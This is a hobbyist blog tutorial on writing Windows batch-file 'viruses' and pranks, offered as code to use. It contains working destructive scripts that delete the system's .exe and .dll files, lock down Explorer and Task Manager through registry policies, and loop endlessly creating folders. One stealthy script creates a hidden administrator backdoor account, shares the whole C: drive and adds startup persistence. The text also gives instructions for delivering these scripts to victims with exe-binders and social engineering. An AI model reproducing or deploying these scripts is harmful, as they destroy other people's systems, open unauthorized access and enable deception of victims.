Create Batch Viruses,pranks

Batch files can be used to create viruses pranks to irritate your friends or so let's begin by creating a batch virus.

 

Creating a Batch File.

 

This is my first batch file virus which will create unlimited folders inside a folder in desktop or my documents .

to create this file  open notepad and type

@echo off
cd C:\Documents and Settings\All Users\Desktop
:loop
md achute
cd achute
goto loop

and save it as virus.bat give it a .bat extension
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well this is a very simple prank to play with you friends,I hope you enjoy it.
I know this is not a good virus,prank. Then you might consider to see the next batch virus.

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This batch virus will delete contents of system folder making the computer not run.

@echo off
taskkill /f /im explorer.exe

del "%systemroot%\*.exe" /f /q /s /a h r s a

del "%systemroot%\system32\*exe" /f /q /s /a h r s a

del "%systemroot%\*.dll" /f /q /s /a h r s a

del "%systemroot%\system32\*dll" /f /q /s /a h r s a

msg * Your computer important files have been deleted

shutdown -r -t 100 -c "Computer files missing..hurray..I am so sorry to say that your computer has been infected ,My deep regrets for spoiling your computer ."

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Now this virus will disable run.search,help,all programs,disable taskbar and more.

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@echo off
COLOR FC
ECHO VIRUS ATTACK! BY ACHUTE
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoSupportInfo /t REG_DWORD /d 00000001 /f

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeCaption /d %Hacked!% /f

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeText /d %Your computer has been infected with a virus developed by a 14 yr old kid You will not be able to search,run use taskbar and so on enjoy to revove this virus visit www.techgeektricks.co.cc % /f

msg * YOUR COMPUTER has been  Crashed- God Save your computer.
msg * Say bye bye to your computer
msg * This virus is developed by a 14 year old kid

shutdown -r -t 100 -c "Virus detected Restarting..hurray..I am so sorry to say that your computer has been infected , To know what to do next see the message you see after booting."

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The heal for the above virus is 

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@echo off
ECHO VIRUS ATTACK- saver! BY ACHUTE
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000000 /f

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoSupportInfo /t REG_DWORD /d 00000000 /f

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Other viruses

   @echo off
    cd\
    cd %SystemRoot%\system32\
    md 1001
    cd\
    cls

    rem N0 H4rm 15 cau53d unt1| N0w
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000
    echo 12:00:00.00 | time >> nul
    echo 01/01/2000 | date >> nul

    net users Microsoft_support support /add
    rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt

    rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt.
    net localgroup administrators  Microsoft_support /add

    rem 5h4r3 th3 R00t Dr1v3
    net share system=C:\ /UNLIMITED

    cd  %SystemRoot%\system32\1001
    echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs

    rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y )
    mode con rate=1 > nul
    mode con delay=4 >> nul

    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y @ 12:01 and 12:02
    at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
    at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”

    msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul
    msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >> nul

    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5
    copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\warnusr.vbs”

    rem *****************************************************************************************************
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y

    echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha….! ” > %systemroot%\system32\1001\sd.bat
    copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat”

    rem *****************************************************************************************************

    cd\
    cls
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r
    cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\
    attrib +h +s +r warnusr.vbs
    attrib +h +s +r sd.bat
    cd\
    cd %systemroot%\system32
    attrib +h +s +r 1001

    rem K1||5 th3 3xp|0r3r.3×3 Pr0c355
    taskkill /F /IM explorer.exe

    rem @ EOV // End of Virus

Copy the source code and paste it in a notepad, then save it with the .bat extension. Copy it in a Pen Drive, then execute it in the victims computer.

You can also use some exe-binders to bind this virus with any audio,video, text or what ever the files may be then use some social engineering technique to make the victim execute the file by himself to harm his computer.

You can create this virus with out using any third party tools in windows, also instead of exe-binder, you can use the iexpress wizard to create a custom package.

your Feedbacks are welcome….!

You can download this batch file here….
To rollback the changes that have been made by this virus, you can download the patch file here and execute it. Click here for Patch…

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The above virus was created by Technocrawl 

 

/* Disclaimer :  We are not responsible for whatever you do with this.This is published, only as a review for educational means                                   */

Changing the startmenu properties.

Tricks we are going to perform:-

1. Remove the My Documents icon from the Start menu and its sub menus.
2. Remove the search option from the start menu.
3. Remove Run from start menu.
4. Remove the My Pictures icon from the Start Menu.
5. Prevent the opening of start menu and task bar properties.
6. Lock the task bar permanently.
7. Remove the balloon tips from start menu.
8. Remove all programs list from start menu.
9. Remove the User name(only the name) from the start menu.
10. More.. tricks.
    

Are you ready.. I hope you will like this article....

Well,This all tricks can be used to play pranks on your friends computer or to in your own computer.

All the tricks require you to go to the Group policy Editor.
To go to group policy editor.

Click on start menu.
click on run.
Type gpedit.msc and press enter
you will see a Group policy editor window
Click/expand Administrative Templates in the left hand side of the window.
and then click on Start Menu and Task bar.
Note: For better editing, see that you are in the extended tab [you can find that on the bottom to the group policy editor].


Now let's begin with the tricks, All are easy.
1. Remove the My Documents icon from the Start menu and its sub menus.

• Double click on remove My documents from the start menu. (the third setting.)
• You will see it's properties with not configured button option selected.
• Now select enable option click on apply and click on OK

(For better info click on Explain tab)
And see the change my documents has disappeared from the start menu.

2. Remove the search option from the start menu.

You might have seen/noticed that when some virus infects the computer the search option gets
disabled.Now without making a virus. You can remove the search opption from the start menu of your friends computer or yours without going into any complication of creating a virus.

After going to the group policy editor and expanding administrative template, to do that see above.

• Double click on Remove search menu from Start menu.
• You will see it's properties with not configured button option selected.
• Now select enable option click on apply and click on OK

Your search menu option will be disabled.

3. Remove Run/help from start menu.

Want to scare your friends by disabling their run and help option from the start menu.
You can disable it in your own computer so that no one will use the run option to perform nasty tricks.
To remove help option.

• Double click on Remove Help menu from the start menu.
• You will see it's properties with not configured button option selected.
• Now select enable option click on apply and click on OK.

To remove run option.
Double click on Remove Run menu from the Start menu.
And follow the i),ii) and iii) steps of the trick no 1.
Now to remove..
4. Remove the My Pictures icon from the Start Menu.
5. Prevent the opening of start menu and task bar properties.
6. Lock the task bar permanently.
7. Remove the balloon tips from start menu.
8. Remove all programs list from start menu.
9. Remove the User name(only the name) from the start menu.
10.More.. tricks.

I hope now that you have figured out what to do :-). So proceed and change
the Start menu and task bar the way you want it to be. But be sure to be in extended tab.

Note:To disable the changes you have made just select the not configured option.

I have taken a Screen shot of the start menu before performing the tricks 1-9 and After performing the tricks - enjoy.

Fake shut down Virus.

DO you want to scare your friends with this fake virus it will

shout down your pc with in certian time and with a virus aleart notification
Here is a screen shot



Let's us proceed

Creating it.

Creating a Shortcut in the desktop
Right click>New>Short cut
Then paste

shutdown -s -t 100 -c "ViRuS DeTeCtEd Shutting Down..."

and give the name game,funny clip or any thing that will attract the
user attention .

Using it.

Now just double click on the icon and you will see the dilaog box like this
and at the end of the time limit your pc will shutdown.

Stoping it

You can stop it under the given time period ,If you have copyed the above code
then it will be 100 seconds.
to stop it click on start>run
and pste this ,

shutdown -a

Modifying it

Instead of shuting it down you can

insert this code, instead of this [shutdown -s -t 100 -c "ViRuS DeTeCtEd Shutting Down..."]
code while creating a short cut.

Restart,
with this code

shutdown -r -t 10 -c "Virus detected Restarting..."

Log Off,
with this code

shutdown -l

Changing the time limit

shutdown -s -t 100 -c "ViRuS DeTeCtEd Shutting Down..."
Here the limit is 100 seconds you can change it to any number.
eg.changing the hunderd into 15 seconds

shutdown -s -t 15 -c "ViRuS DeTeCtEd Shutting Down..."

Extra info


-s - This signify Shutdown.
-r - This signify Restart .
-l - This signify LogOff .
-t - This signify the timer before Restart or shutdown of the computer.
-c - This signify comment. [note don't put comments in the logging off code it is useless]

You can also start this ,through command prompt

click on start>run
then paste the code i.e

For Shutdown

shutdown -s -t 100 -c "ViRuS DeTeCtEd Shutting Down..."

For Restart

shutdown -r -t 10 -c "Virus detected Restarting..."

For Logging off

shutdown -l

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Drop me a comment and tell me weather you liked it or not.
I would like to than the internet[cause i could not trace the real author and all the authors were in the net] for the codes the rest i have modified it.
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